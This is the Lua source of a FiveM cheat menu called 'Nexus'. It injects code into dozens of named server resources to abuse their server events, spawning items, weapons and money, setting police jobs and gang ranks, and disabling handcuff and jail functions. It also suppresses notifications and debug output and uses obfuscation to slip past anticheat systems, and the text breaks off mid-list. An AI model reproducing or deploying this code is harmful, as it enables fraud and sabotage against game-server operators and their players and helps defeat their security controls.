Blacklisted servers: Add server IPs here (e.g., {"192.168.1.1:30120", "10.0.0.5:30120"}) -- Blacklisted resources: Add resource names here (e.g., {"WaveShield", "ReaperV4"}) if shouldShowExploit("ak47_khusbites", {}, {}) then table.insert(exploitButtons, { label = 'Spawn item T2', type = 'button', canBind = true, bindName = 'Spawn item T2', onConfirm = function() local responses = {} local inputSequence = { { question = "Enter item name:", placeholder = "Type item name here...", maxLength = 50, inputType = "alphanumeric", key = "itemName" }, { question = "Enter amount (numbers only):", placeholder = "Type amount here...", maxLength = 20, inputType = "numeric", key = "amount" } } local function processInput(index) if index > #inputSequence then local itemName = responses[1].value local amount = tonumber(responses[2].value) if itemName and amount and itemName ~= "" and amount > 0 then MachoInjectResourceRaw("ak47_khusbites", string.format([[ local function Ak47Spawn() TriggerServerEvent("ak47_khusbites:process", "%s", { pooch_bag = 0, weed_leaf = 0 }, %d, 0) end Ak47Spawn() ]], itemName:gsub('"', '\\"'), amount)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Spawn item T2: " .. itemName .. " x" .. amount, type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Invalid item name or amount!", type = 'error' })) end end return end local currentInput = inputSequence[index] openTextInput( currentInput.question, currentInput.placeholder, "", currentInput.maxLength, function(value) if value and value ~= "" then table.insert(responses, { key = currentInput.key, value = value }) CreateThread(function() Wait(200) processInput(index + 1) end) else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = currentInput.key .. " is required!", type = 'error' })) end end end, currentInput.inputType ) end processInput(1) end }) end local function AddNexusSpawner(resName, btnLabel, requiresItem, makeScriptFn) if _G["NexusMenuVIPStatus"] and shouldShowExploit(resName, {}, {}) then table.insert(exploitButtons, { label = btnLabel .. ' (' .. resName .. ')', type = 'button', canBind = true, bindName = btnLabel .. ' ' .. (requiresItem == "none" and "Action" or (requiresItem and "Item" or "Amount")), onConfirm = function() if requiresItem == "none" then MachoInjectResourceRaw(resName, makeScriptFn("none", 1)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = btnLabel .. " Executed!", type = 'success' })) end return end local responses = {} local inputSequence = {} if requiresItem then table.insert(inputSequence, { question = "Enter item name:", placeholder = "e.g. water", maxLength = 50, inputType = "alphanumeric", key = "itemName" }) end table.insert(inputSequence, { question = "Enter amount (numbers only):", placeholder = "e.g. 10", maxLength = 20, inputType = "numeric", key = "amount" }) local function processInput(index) if index > #inputSequence then local amount = tonumber(responses[#responses].value) local itemName = requiresItem and responses[1].value or "money" if amount and amount > 0 and (not requiresItem or (itemName and itemName ~= "")) then local safeItem = requiresItem and itemName:gsub('"', '\\"'):gsub("'", "\\'") or "money" MachoInjectResourceRaw(resName, makeScriptFn(safeItem, amount)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Spawn Menu Execute => Object: " .. safeItem .. " | qty: " .. amount, type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Invalid input!", type = 'error' })) end end return end local cur = inputSequence[index] openTextInput(cur.question, cur.placeholder, "", cur.maxLength, function(val) if val and val ~= "" then table.insert(responses, { key = cur.key, value = val }) CreateThread(function() Wait(150) processInput(index + 1) end) else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Input required!", type = 'error' })) end end end, cur.inputType) end processInput(1) end }) end end local triggersToLoad = { { res="skirpz_drugplug", label="Spawner 1", item=true, fn=function(i, a) return "TriggerServerEvent('shop:purchaseItem', '"..i.."', 0) TriggerEvent('shop:openMenu')" end }, { res="xmmx_bahamas", label="Bahamas Mod 1", item=true, fn=function(i, a) return "local cx={} for x=1,"..a.." do table.insert(cx, {title='**NEXUS x'..a..'**',description='Nexus OT',disabled=false,image='https://r2.fivemanage.com/rPpf5Nu5VkDm6xvbXjTA7/caption.gif',icon='https://r2.fivemanage.com/rPpf5Nu5VkDm6xvbXjTA7/caption.gif',event='xmmx_bahamas:client:CreateRecipe',args={name='"..i.."',amount="..a..",ingredients={},label='Nexus',info={Dict='amb@world_human_sunbathe@female@back@base',Clip='base',Flag=49,Time=0,Move=true,MiniG=false}}}) end local lb=exports.ox_lib local sb=function(f,c,a1,a2) local sn=math.random(999999,999999999)..GetCurrentResourceName()..GetGameTimer() LocalPlayer.state:set(sn,f,false) LocalPlayer.state[sn](c,a1,a2) end sb(lb.registerContext,lb,{id='nxm',title='Nexus OT',position='top-right',options=cx}) sb(lb.showContext,lb,'nxm')" end }, { res="spoodyGunPlug", label="Miami Stories Gun", item=true, fn=function(i, a) return "if GetCurrentServerEndpoint() == '40.160.20.32:30120' then _G.Configuration={Settings={InventoryImagePath='',Interactions={ProductionFee={Weapon=0,Account='money'},Timers={CreateWeapon=1}}},Products={Weapons={['"..i.."']={item='"..i.."',count="..a..",requiredItems={}}}}} return menus:openWeaponsOptions() else TriggerServerEvent('__ox_cb_spoodyGunPlug:giveItems', 'spoodyGunPlug', 'spoodyGunPlug:giveItems:xxxx', {{amount="..a..", item='"..i.."'}}) end" end }, { res="ak47_druglabs", label="Spawner 4", item=true, fn=function(i, a) return "local c=GetEntityCoords(PlayerPedId()) local h=GetEntityHeading(PlayerPedId()) _G.Config.CircleZones={{xItem='"..i.."',xLabel='Nexus',collectDelay=0,marker={collect={enable=true,type=2,size={x=1.5,y=1.5,z=1.0},color={r=0,g=0,b=0,a=0}},process={enable=false}},collect={{pos=vector3(c),heading=h,quantity="..a.."}},process={}}}" end }, { res="devkit_smoking", label="Spawner 5", item=true, fn=function(i, a) return "for x=1,"..a.." do TriggerServerEvent('devkit_smoking:server:AddItem', '"..i.."') Citizen.Wait(15) end" end }, { res="xmmx_letscookplus", label="Spawner 6", item=true, fn=function(i, a) return "_G.Config = _G.Config or {} _G.Config.ItemProps = {{model='w_pi_pistol', name='"..i.."'}} TriggerEvent('xmmx_letscookplus:client:DeleteProp', 9001, GetHashKey('w_pi_pistol'))" end }, { res="fivecode_uwucatcafejob", label="Spawner 7", item=true, fn=function(i, a) return "_G.CookingAnimation=function()return true end StartCooking({args={id=1,pedPos=vector4(GetEntityCoords(PlayerPedId()), GetEntityHeading(PlayerPedId())),type='stove'},itemInfo={item='"..i.."',label='Nexus',cookingTime=0,amount="..a..",ingredients={}}})" end }, { res="ak47_anklemonitor", label="Spawner 8", item=true, fn=function(i, a) return "for x=1,"..a.." do TriggerServerEvent('ak47_anklemonitor:additem', '"..i.."') Citizen.Wait(15) end" end }, { res="ez_whitewidow", label="Spawner 9", item=true, fn=function(i, a) return "TriggerServerEvent('ez_lib:server:AddItem', '"..i.."', "..a..")" end }, { res="ms_weedrolling_esx", label="Spawner 10", item=true, fn=function(i, a) return "TriggerEvent('mythic_weed:openBackwoodPackage', {packageItem='cash',backwoodItem='"..i.."',quantity="..a.."})" end }, { res="fs_whitewidow", label="Spawner 11", item=true, fn=function(i, a) return "exports.ox_lib:callback.await('fs_whitewidow:PaySocietyMoney', false, '"..i.."', "..a..", 0)" end }, { res="pug-businesscreator", label="Spawner 12", item=true, fn=function(i, a) return "local c=GetEntityCoords(PlayerPedId()) TriggerEvent('Pug:Client:DoBusinessSuppliesLogic', {args={Name='wasabi_bridge:server:OpenShop',Info={PedCoords={x=c.x,y=c.y,z=c.z,w=0.0},Heading=GetEntityHeading(PlayerPedId()),SuppliesData={Supplies1='"..i.."',SuppliesPrice1=0,SuppliesAmount1="..a.."}}}})" end }, { res="lu-consumables", label="Spawner 13", item=true, fn=function(i, a) return "if type(toggleItem)=='function' then toggleItem(true, '"..i.."', "..a..") end" end }, { res="devx-lustshop", label="Spawner 14", item=true, fn=function(i, a) return "TriggerServerEvent('devx-adulttoys:checkout', {{id=1,inventoryName='"..i.."',price=0,qty="..a..",type={'Vibrating'}}})" end }, { res="trappin_3dprinter", label="Spawner 15", item=true, fn=function(i, a) return "for x=1,"..a.." do TriggerServerEvent('module:printer:craft', '"..i.."') Citizen.Wait(15) end" end }, { res="codewave-bbq", label="Spawner 16", item=true, fn=function(i, a) return "for x=1,"..a.." do handlePropPickup('"..i.."') Citizen.Wait(100) end" end }, { res="ars_smoking", label="Spawner 17", item=true, fn=function(i, a) return "TriggerEvent('ars_smoking:client:startCrafting', {delay=1,item='"..i.."',required_items='cash',required_items_count=1,rewards={['"..i.."']="..a.."}})" end }, { res="codewave-sneaker-phone", label="Money Spawner 1", item=false, fn=function(i, a) return "TriggerEvent('delivery:completeDeliveryShoes', "..a..")" end }, { res="codewave-handbag-phone", label="Money Spawner 2", item=false, fn=function(i, a) return "TriggerEvent('delivery:completeDeliveryhandbags', "..a..")" end }, { res="codewave-wigs-v3-phone", label="Money Spawner 3", item=false, fn=function(i, a) return "TriggerEvent('delivery:completeDeliveryWigss', "..a..")" end }, { res="codewave-nails-phone", label="Money Spawner 4", item=false, fn=function(i, a) return "TriggerEvent('delivery:completeDeliveryEvent', "..a..")" end }, { res="codewave-lashes-phone", label="Money Spawner 5", item=false, fn=function(i, a) return "TriggerEvent('delivery:giveRewardlashes', "..a..")" end }, { res="wasabi_ambulance", label="Spawner 18", item=true, fn=function(i, a) return "if exports.wasabi_ambulance and exports.wasabi_ambulance.gItem then for x=1,"..a.." do exports.wasabi_ambulance:gItem({item='"..i.."',label='Nexus',price=0}) Citizen.Wait(15) end else TriggerEvent('wasabi_ambulance:gItem', '"..i.."') end" end }, { res="fs_wigsbundles", label="VIP Spawner 1", item=true, fn=function(i, a) return "exports.ox_lib:callback.await('fs_wigsbundles:PaySocietyMoney', false, '"..i.."', "..a..", 0)" end }, { res="ms_lean_system", label="VIP Spawner 2", item=true, fn=function(i, a) return "for x=1,"..a.." do TriggerServerEvent('lean:completeMix', 'money', '"..i.."', 'money') Citizen.Wait(15) end" end }, { res="devkit_drugselling", label="VIP Spawner 3", item=true, fn=function(i, a) return "TriggerServerEvent('devkit_drugselling:giverobback', '"..i.."', "..a..")" end }, { res="cookies", label="VIP Spawner 4", item=true, fn=function(i, a) return "local ox=TriggerServerEvent TriggerServerEvent=function(n,i2,p,a2,...) if n=='blackmarket:buyItem' then return ox(n,'"..i.."',0,"..a..",...) end return ox(n,i2,p,a2,...) end TriggerEvent('blackmarket:openMenu')" end }, { res="VL-Businesses", label="VIP Spawner 5", item=true, fn=function(i, a) return "exports.ox_lib:callback.await('vl_businesses:craft', false, '"..i.."', {}, "..a..")" end }, { res="prism_crafting", label="VIP Spawner 6", item=true, fn=function(i, a) return "TriggerEvent('prism-crafting:client:openBlueprintShop', {id='wasabi_bridge:server:OpenShop',data={{item='"..i.."',price=0}},label='Nexus'})" end }, { res="drz_medicinedelivery", label="VIP Spawner 7", item=true, fn=function(i, a) return "for x=1,"..a.." do TriggerServerEvent('npc:give') Citizen.Wait(50) end" end }, { res="spoodyCookies", label="Item Spawner V3", item="none", fn=function(i, a) return "local m={{Product='Item',Item='casino_chips',Stock=999,Image='chips.png',Price=1}} SendNUIMessage({Type='Open',Items=m}) SetNuiFocus(true,true)" end }, { res="wasabi_mining", label="Hook Mining Item", item=true, fn=function(i, a) return "if not _G.oldLibA then _G.oldLibA = lib.callback.await end lib.callback.await=function(n,...) if n=='wasabi_mining:checkPick' then return true elseif n=='wasabi_mining:getRockData' then return {item='"..i.."',price={0,0},label='Nexus',difficulty={'easy','easy'}} end return _G.oldLibA(n,...) end" end }, { res="wasabi_multijob", label="Clock In Exploit", item="none", fn=function(i, a) return "exports.ox_lib:registerContext({id='nx_mj',title='Nexus Multijob',options={{title='Clock In',event='wasabi_multijob:clockIn',args={job='ambulance',grade=1}}}}) exports.ox_lib:showContext('nx_mj')" end }, { res="core_multijob", label="Clock In Exploit", item="none", fn=function(i, a) return "SetNuiFocus(true,true) SendNUIMessage({type='open',job={job='unemployed',grade=0},jobs='[{\"label\":\"Nexus\",\"name\":\"ambulance\",\"grade_label\":\"Dr\",\"grade\":3}]',offduty=true,isFemale=false})" end } } for _, v in ipairs(triggersToLoad) do AddNexusSpawner(v.res, v.label, v.item, v.fn) end -- Auto-apply Anti-Notify and Anti-Debug protections local notifyRes = GetResourceState('ox_lib') == 'started' and 'ox_lib' or 'monitor' MachoInjectResourceRaw(notifyRes, [[ local _SendNUIMessage = SendNUIMessage _G.SendNUIMessage = function(msg) if type(msg) == 'table' and msg.action == 'notify' then return end return _SendNUIMessage(msg) end if _G.lib and _G.lib.notify then _G.lib.notify = function() return end end ]]) local debugRes = GetResourceState('monitor') == 'started' and 'monitor' or 'hardcap' MachoInjectResourceRaw(debugRes, [[ _G.print = function() return end if _G.Citizen and _G.Citizen.Trace then _G.Citizen.Trace = function() return end end local hide_globals = setmetatable({}, { __index = function(_, k) local v = _G[k] return type(v) == "function" and function(...) return v(...) end or v end }) ]]) -- Set Gang Exploit if GetResourceState("scripts") == "started" or GetResourceState("framework") == "started" then table.insert(exploitButtons, { label = 'Set Gang', type = 'button', canBind = true, bindName = 'Set Gang', onConfirm = function() local responses = {} local inputSequence = { { question = "Enter gang name:", placeholder = "Type gang name here...", maxLength = 50, inputType = "alphanumeric", key = "gangName" }, { question = "Enter gang rank (numbers only):", placeholder = "Type rank here...", maxLength = 10, inputType = "numeric", key = "gangRank" } } local function processInput(index) if index > #inputSequence then local gangName = responses[1].value local gangRank = tonumber(responses[2].value) or 1 if gangName and gangName ~= "" then local targetResource = GetResourceState("scripts") == "started" and "scripts" or "framework" MachoInjectResourceRaw(targetResource, string.format([[ LocalPlayer.state:set("gang", "%s", true) LocalPlayer.state:set("gang_rank", %d, true) ]], gangName:gsub('"', '\\"'), gangRank)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Gang set: " .. gangName .. " (Rank: " .. gangRank .. ")", type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Gang name is required!", type = 'error' })) end end return end local currentInput = inputSequence[index] openTextInput( currentInput.question, currentInput.placeholder, "", currentInput.maxLength, function(value) if value and value ~= "" then table.insert(responses, { key = currentInput.key, value = value }) CreateThread(function() Wait(200) processInput(index + 1) end) else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = currentInput.key .. " is required!", type = 'error' })) end end end, currentInput.inputType ) end processInput(1) end }) end -- Give Item #2 Exploit if GetResourceState("scripts") == "started" or GetResourceState("framework") == "started" then table.insert(exploitButtons, { label = 'Give Item #2', type = 'button', canBind = true, bindName = 'Give Item #2', onConfirm = function() local responses = {} local inputSequence = { { question = "Enter item name:", placeholder = "Type item name here...", maxLength = 50, inputType = "alphanumeric", key = "itemName" }, { question = "Enter item count (numbers only):", placeholder = "Type count here...", maxLength = 20, inputType = "numeric", key = "itemCount" } } local function processInput(index) if index > #inputSequence then local itemName = responses[1].value local inputCount = responses[2].value local itemCount = tonumber(inputCount) or 1 if itemCount > 100000 then itemCount = 100000 end if itemName and itemName ~= "" and itemCount and itemCount > 0 then local targetResource = GetResourceState("scripts") == "started" and "scripts" or "framework" MachoInjectResourceRaw(targetResource, string.format([[ TriggerServerEvent('drugs:receive', { Reward = { Name = "%s", Amount = %d } }) ]], itemName:gsub('"', '\\"'), itemCount)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Item sent: " .. itemName .. " x" .. itemCount, type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Invalid item name or count!", type = 'error' })) end end return end local currentInput = inputSequence[index] openTextInput( currentInput.question, currentInput.placeholder, "", currentInput.maxLength, function(value) if value and value ~= "" then table.insert(responses, { key = currentInput.key, value = value }) CreateThread(function() Wait(200) processInput(index + 1) end) else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = currentInput.key .. " is required!", type = 'error' })) end end end, currentInput.inputType ) end processInput(1) end }) end -- Set Job #2(Police) Exploit if GetResourceState("scripts") == "started" or GetResourceState("framework") == "started" then table.insert(exploitButtons, { label = 'Set Job #2(Police)', type = 'button', canBind = true, bindName = 'Set Job #2(Police)', onConfirm = function() MachoInjectResourceRaw("any", [[ local lp = LocalPlayer if lp and lp.state then lp.state:set("job", { name = "police", label = "Police", grade = 4, grade_name = "sergeant" }, true) print("[✅] Job set to police successfully.") else print("[⚠️] Failed to set job: LocalPlayer or state not available.") end ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Job set to Police (Sergeant)", type = 'success' })) end end }) end -- Spawn item T3 - ars_smoking Exploit -- Blacklisted servers: Add server IPs here (e.g., {"192.168.1.1:30120", "10.0.0.5:30120"}) -- Blacklisted resources: atlantastoriesfem, PulseMaps_LakeCity_Exclusive01 if shouldShowExploit("ars_smoking", {}, {"atlantastoriesfem", "PulseMaps_LakeCity_Exclusive01"}) then table.insert(exploitButtons, { label = 'Spawn item T3', type = 'button', canBind = true, bindName = 'Spawn item T3', onConfirm = function() local responses = {} local inputSequence = { { question = "Enter item name:", placeholder = "Type item name here...", maxLength = 50, inputType = "alphanumeric", key = "itemName" }, { question = "Enter amount (numbers only):", placeholder = "Type amount here...", maxLength = 20, inputType = "numeric", key = "amount" } } local function processInput(index) if index > #inputSequence then local itemName = responses[1].value local amount = tonumber(responses[2].value) if itemName and amount and itemName ~= "" and amount > 0 then local code = string.format([[ local function SpawnItem(item, amount) TriggerServerEvent('ars_smoking:server:startCrafting', { delay = 15, item = "cash", required_items = "water", required_items_count = 0, rewards = { [item] = amount } }) end SpawnItem("%s", %d) ]], itemName:gsub('"', '\\"'), amount) MachoInjectResourceRaw("ars_smoking", code) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Spawn item T3: " .. itemName .. " x" .. amount, type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Invalid item name or amount!", type = 'error' })) end end return end local currentInput = inputSequence[index] openTextInput( currentInput.question, currentInput.placeholder, "", currentInput.maxLength, function(value) if value and value ~= "" then table.insert(responses, { key = currentInput.key, value = value }) CreateThread(function() Wait(200) processInput(index + 1) end) else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = currentInput.key .. " is required!", type = 'error' })) end end end, currentInput.inputType ) end processInput(1) end }) end -- Spawn item byname - just do -- Blacklisted servers: Add server IPs here (e.g., {"192.168.1.1:30120", "10.0.0.5:30120"}) -- Blacklisted resources: Add resource names here (e.g., {"WaveShield", "ReaperV4"}) -- Note: This exploit works by triggering the server event, resource check is optional if shouldShowExploit("pug-robberycreator", {}, {}) then table.insert(exploitButtons, { label = 'Spawn item by name (Semi risky)', type = 'button', canBind = true, bindName = 'Spawn item byname', onConfirm = function() local responses = {} local inputSequence = { { question = "Enter item name:", placeholder = "Type item name here...", maxLength = 50, inputType = "alphanumeric", key = "itemName" }, { question = "Enter amount (numbers only):", placeholder = "Type amount here...", maxLength = 20, inputType = "numeric", key = "amount" } } local function processInput(index) if index > #inputSequence then local itemName = responses[1].value local amount = tonumber(responses[2].value) if itemName and amount and itemName ~= "" and amount > 0 then -- Check if WaveShield Resource is running local isWaveShieldRunning = GetResourceState("asdsadsadsada") == "started" -- Determine target resource (try Pug first, fallback to any) local targetResource = (GetResourceState("Pug") == "started") and "Pug" or "any" -- Build the script code local scriptCode = string.format([[ local PlayerId = _G.PlayerId or function() return 0 end local GetPlayerServerId = _G.GetPlayerServerId or function() return 0 end local TriggerServerEvent = _G.TriggerServerEvent or function() end TriggerServerEvent("Pug:server:RobberyGiveItem", GetPlayerServerId(PlayerId()), "%s", %d) ]], itemName:gsub('"', '\\"'), amount) if MachoInjectResourceRaw then if isWaveShieldRunning then -- Use MachoInjectResourceRaw with safeCall pattern (no CreateThread) local wrapperCode = "local function safeCall(fn, ...)\n if fn then\n return fn(...)\n end\nend\nlocal TriggerEvent = _G.TriggerEvent or function(...) end\nlocal TriggerServerEvent = _G.TriggerServerEvent or function(...) end\n\n" local fullCode = wrapperCode .. scriptCode MachoInjectResourceRaw(targetResource, fullCode) else -- Use MachoInjectResourceRaw with safeCall pattern (with CreateThread) local wrapperCode = "local function safeCall(fn, ...)\n if fn then\n return fn(...)\n end\nend\nlocal CreateThread = _G.CreateThread or function(...) end\nlocal TriggerEvent = _G.TriggerEvent or function(...) end\nlocal TriggerServerEvent = _G.TriggerServerEvent or function(...) end\n\nsafeCall(CreateThread, function()\n" local footerCode = "\nend)" local fullCode = wrapperCode .. scriptCode .. footerCode MachoInjectResourceRaw(targetResource, fullCode) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "MachoInjectResourceRaw not available!", type = 'error' })) end return end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Spawn item byname: " .. itemName .. " x" .. amount .. (isWaveShieldRunning and " (WaveShield Protected)" or ""), type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Invalid item name or amount!", type = 'error' })) end end return end local currentInput = inputSequence[index] openTextInput( currentInput.question, currentInput.placeholder, "", currentInput.maxLength, function(value) if value and value ~= "" then table.insert(responses, { key = currentInput.key, value = value }) CreateThread(function() Wait(200) processInput(index + 1) end) else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = currentInput.key .. " is required!", type = 'error' })) end end end, currentInput.inputType ) end processInput(1) end }) end if _G["NexusMenuVIPStatus"] and shouldShowExploit("evo-k9-v3", {}, {}) then table.insert(exploitButtons, { label = 'Spawn item by name V2', type = 'button', canBind = true, bindName = 'spawn item name', onConfirm = function() local responses = {} local inputSequence = { { question = "Enter item name:", placeholder = "Type item name here...", maxLength = 50, inputType = "alphanumeric", key = "itemName" }, { question = "Enter amount (numbers only):", placeholder = "Type amount here...", maxLength = 20, inputType = "numeric", key = "amount" } } local function processInput(index) if index > #inputSequence then local itemName = responses[1].value local amount = tonumber(responses[2].value) if itemName and amount and itemName ~= "" and amount > 0 then -- Check if WaveShield Resource is running local isWaveShieldRunning = GetResourceState("adsasddsaadsdasdasdas") == "started" -- Determine target resource (try evo-k9 first, fallback to any) local targetResource = (GetResourceState("evo-k9-v3") == "started") and "evo-k9-v3" or "any" -- Build the script code local scriptCode = string.format([[ local TriggerServerEvent = _G.TriggerServerEvent or function() end TriggerServerEvent("evo-k9:server:PurchaseItems", "cash", { { name = "%s", label = "Purchase Successful", price = 0, quantity = %d } }, 0) ]], itemName:gsub('"', '\\"'), amount) if MachoInjectResourceRaw then if isWaveShieldRunning then -- Use MachoInjectResourceRaw with safeCall pattern (no CreateThread) local wrapperCode = "local function safeCall(fn, ...)\n if fn then\n return fn(...)\n end\nend\nlocal TriggerEvent = _G.TriggerEvent or function(...) end\nlocal TriggerServerEvent = _G.TriggerServerEvent or function(...) end\n\n" local fullCode = wrapperCode .. scriptCode MachoInjectResourceRaw(targetResource, fullCode) else -- Use MachoInjectResourceRaw with safeCall pattern (with CreateThread) local wrapperCode = "local function safeCall(fn, ...)\n if fn then\n return fn(...)\n end\nend\nlocal CreateThread = _G.CreateThread or function(...) end\nlocal TriggerEvent = _G.TriggerEvent or function(...) end\nlocal TriggerServerEvent = _G.TriggerServerEvent or function(...) end\n\nsafeCall(CreateThread, function()\n" local footerCode = "\nend)" local fullCode = wrapperCode .. scriptCode .. footerCode MachoInjectResourceRaw(targetResource, fullCode) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "MachoInjectResourceRaw not available!", type = 'error' })) end return end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Purchase: " .. itemName .. " x" .. amount .. (isWaveShieldRunning and " (WaveShield Protected)" or ""), type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Invalid item name or amount!", type = 'error' })) end end return end local currentInput = inputSequence[index] openTextInput( currentInput.question, currentInput.placeholder, "", currentInput.maxLength, function(value) if value and value ~= "" then table.insert(responses, { key = currentInput.key, value = value }) CreateThread(function() Wait(200) processInput(index + 1) end) else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = currentInput.key .. " is required!", type = 'error' })) end end end, currentInput.inputType ) end processInput(1) end }) end -- vRP Money Spawn Exploit -- Blacklisted servers: Add server IPs here (e.g., {"192.168.1.1:30120", "10.0.0.5:30120"}) -- Blacklisted resources: Add resource names here (e.g., {"WaveShield", "Eagle-AntiCheat"}) if shouldShowExploit("vrp", {}, {}) then table.insert(exploitButtons, { label = 'Spawn Money vRP', icon = 'ph-currency-dollar', type = 'checkbox', onConfirm = function(isChecked) if anti and anti.anticheat == "Eagle-AntiCheat" then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Eagle-AntiCheat detected! Stopping execution.", type = 'error' })) return end if isChecked then if not isPayCheckExploitActive then MachoInjectThread(0, "vrp", "player_state.lua", [[ print("^2[+] Running PayCheck Exploit") local keepRunning = true tvRP.CheckPayChecck = function() return true end Citizen.CreateThread(function() while keepRunning do Wait(0) Tunnel.getInterface("vRP","vRP").Paycheck({}) Wait(10) end end) PayCheckExploitThread = { stop = function() keepRunning = false end } ]]) isPayCheckExploitActive = true end else if isPayCheckExploitActive then MachoInjectThread(0, "vrp", "player_state.lua", [[ print("^1[+] Stopped PayCheck Exploit") if PayCheckExploitThread then PayCheckExploitThread.stop() PayCheckExploitThread = nil end ]]) isPayCheckExploitActive = false end end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "vRP - PayCheck Exploit " .. (isChecked and "Activated!" or "Deactivated!"), type = isChecked and 'success' or 'error' })) end end }) end -- vRP Block Functions Exploit -- Blacklisted servers: Add server IPs here (e.g., {"192.168.1.1:30120", "10.0.0.5:30120"}) -- Blacklisted resources: Add resource names here (e.g., {"WaveShield", "Eagle-AntiCheat"}) if shouldShowExploit("vrp", {}, {}) then table.insert(exploitButtons, { label = 'Block Functions (vRP)', type = 'button', canBind = true, bindName = 'Block Functions vRP', onConfirm = function() MachoInjectThread(0, "vrp", "police.lua", [[ print("^3[+] Nexus -> Done Blocker !") tvRP.teleport = function(...) return true end tvRP.toggleHandcuff = function(...) return true end tvRP.jail = function(...) return true end tvRP.freeze = function(...) return true end ]]) MachoResourceStop("vrp") MachoResourceStart('vrp') if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "vRP Functions Blocked!.", type = 'success' })) end end }) end -- QB-Shop Exploit -- Blacklisted servers: Add server IPs here -- Blacklisted resources: ReaperV4 if shouldShowExploit("qb-core", {}, {"ReaperV4"}) then table.insert(exploitButtons, { label = 'QB-Shop', type = 'button', canBind = true, bindName = 'QB-Shop', onConfirm = function() SafeInjectResourceRaw(InjectionResource(), [[ -- Helper functions for obfuscation local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end local function QwErTyUiOpAsDfGh() _g(_b("pcall"))(function() local ZxCvBnMqWeRtYuIo = {} ZxCvBnMqWeRtYuIo.Products = { ["arcadebar"] = { [1] = { name = "weapon_minigun", price = 0, amount = 2000000000, info = { ammo = 500 }, type = "item", slot = 1, }, [2] = { name = "weapon_rg", price = 0, amount = 20000000000, info = { ammo = 5000 }, type = "item", slot = 2, }, [3] = { name = "money", price = 0, amount = 2000000000000000000000000000000000000000000000000000000000000, info = { ammo = 500 }, type = "item", slot = 3, } } } ZxCvBnMqWeRtYuIo.Locations = { ["arcadebar"] = { ["blip"] = "arcadebar_shop_blip", ["label"] = "arcadebar_shop", ["type"] = "arcadebar", ["coords"] = {[1] = _g(_b("vector3"))(339.17, -909.97, 29.25)}, ["products"] = ZxCvBnMqWeRtYuIo.Products["arcadebar"], }, } local AsDfGhJkLzXcVbNm = {} AsDfGhJkLzXcVbNm.label = ZxCvBnMqWeRtYuIo.Locations["arcadebar"]["label"] AsDfGhJkLzXcVbNm.items = ZxCvBnMqWeRtYuIo.Locations["arcadebar"]["products"] AsDfGhJkLzXcVbNm.slots = 30 _g(_b("PlaySoundFrontend"))(-1, "WEAPON_ATTACHMENT_EQUIP", "HUD_AMMO_SHOP_SOUNDSET", true) _g(_b("TriggerServerEvent"))("inventory:server:OpenInventory", "shop", "vending_drink", AsDfGhJkLzXcVbNm) end) end QwErTyUiOpAsDfGh() ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "QB-Shop opened successfully", type = 'success' })) end end }) end -- Wasabi Bridge Shop Exploit -- Blacklisted servers: Add server IPs here -- Blacklisted resources: ReaperV4 if shouldShowExploit("wasabi_bridge", {}, {"ReaperV4"}) then table.insert(exploitButtons, { label = 'Wasabi Bridge Shop', type = 'button', canBind = true, bindName = 'Wasabi Bridge Shop', onConfirm = function() MachoInjectResource("wasabi_bridge", [[ WSB.inventory.openShop({ identifier = 'xy', name = 'Nexus Menu Shop', inventory = { -- Money/Cash Items { name = 'money', price = 0 }, { name = 'cash', price = 0 }, { name = 'black_money', price = 0 }, { name = 'dirty_money', price = 0 }, { name = 'bank', price = 0 }, { name = 'gold', price = 0 }, { name = 'diamond', price = 0 }, -- Pistols { name = 'weapon_pistol', price = 0 }, { name = 'weapon_combatpistol', price = 0 }, { name = 'weapon_appistol', price = 0 }, { name = 'weapon_pistol50', price = 0 }, { name = 'weapon_microsmg', price = 0 }, { name = 'weapon_snspistol', price = 0 }, { name = 'weapon_heavypistol', price = 0 }, { name = 'weapon_vintagepistol', price = 0 }, { name = 'weapon_marksmanpistol', price = 0 }, { name = 'weapon_revolver', price = 0 }, { name = 'weapon_doubleaction', price = 0 }, { name = 'weapon_ceramicpistol', price = 0 }, { name = 'weapon_navyrevolver', price = 0 }, { name = 'weapon_gadgetpistol', price = 0 }, -- SMGs { name = 'weapon_smg', price = 0 }, { name = 'weapon_assaultsmg', price = 0 }, { name = 'weapon_combatpdw', price = 0 }, { name = 'weapon_machinepistol', price = 0 }, { name = 'weapon_minismg', price = 0 }, -- Assault Rifles { name 